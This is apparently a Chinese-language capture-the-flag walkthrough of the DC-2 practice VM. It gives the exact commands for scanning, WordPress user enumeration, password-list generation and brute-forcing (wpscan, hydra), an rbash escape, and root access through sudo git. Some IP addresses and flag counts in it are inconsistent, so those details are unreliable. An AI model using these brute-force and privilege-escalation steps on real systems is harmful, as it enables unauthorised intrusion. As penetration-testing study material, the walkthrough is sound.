先对目标靶机的网段进行扫描,用nmap命令
nmap -sS 192.168.182.0/24
发现目标IP为10.9.63.96(每个人扫描的ip在不同网段都不一样,根据自身情况进行甄别)看看都开启了哪些端口,发现有80、7744端口开放,打开网页输入ip查看一下80端口http服务网页
打开http://192.168.182.145发现网页打不开,于是我觉得会有隐藏端口,于是再用nmap工具进行扫描一遍
sudo nmap -sS -sV -T4 -O -A 192.168.182.145
这里需要进行更改本地DNS文件否则访问不了,我们修改一下/etc/hosts文件
vim /etc/hosts
192.168.182.145 dc-2
再次打开网页192.168.182.135
发现了第一个flag
flag提醒我们需要找寻找密码和用户,用dirsearch工具扫描一下此网站的目录。
dirsearch -u http://192.168.182.145/ -x 403 404 405 500
发现了admin页面,判断是一个登录后台的页面
用wpscan枚举一下用户信息
wpscan --url http://dc-2 -e u
发现了三个相关的用户名admin,jerry,tom,创建一下用户名字典
用cewl命令获得密码字典
cewl http://dc-2 -w passwd_dc2.txt
根据生成的用户名和密码进行爆破
wpscan --url http://dc-2/ -U user_dc2.txt -P passwd_dc2.txt
获得用户jerry,密码为adipiscing;用户tom,密码为parturient
登录网站后台
发现第二个flag
尝试一下ssh登录,看一下哪个账户能登录进去
hydra -L user_dc2.txt -P passwd_dc2.txt 192.168.182.145 ssh -s 7744
发现用户tom能进行ssh连接,尝试ssh连接
ssh -p 7744 tom@192.168.182.145
登录tom成功,发现flag3,但是同时发现很多指令不能使用,发现有rbash限制
查看路径搜索变量PATH
echo $PATH
查看还有哪些命令能用
ls /home/tom/usr/bin
发现vi可以用,我们看一下flag3.txt
接下来我们就需要使用一些方法逃逸出rbash,我们输入以下两条命令来逃逸出这个受限制的shell
# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a
/bin/bash
# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
发现已经绕过入了,flag3提示我们su,我们尝试切换到jerry用户
su jerry
成功登录jerry,发现flag4,提示我们用git提权,我们用sudo -l查看一下可以用的root权限命令
sudo -l
确定是用git进行提权,用下面的命令进行提权
sudo git -p help config
!/bin/sh
发现已经提权成功,查看id已经是root权限,ls发现第四个flag
进入根目录,发现第五个flag
至此DC-2靶机也被我们打穿啦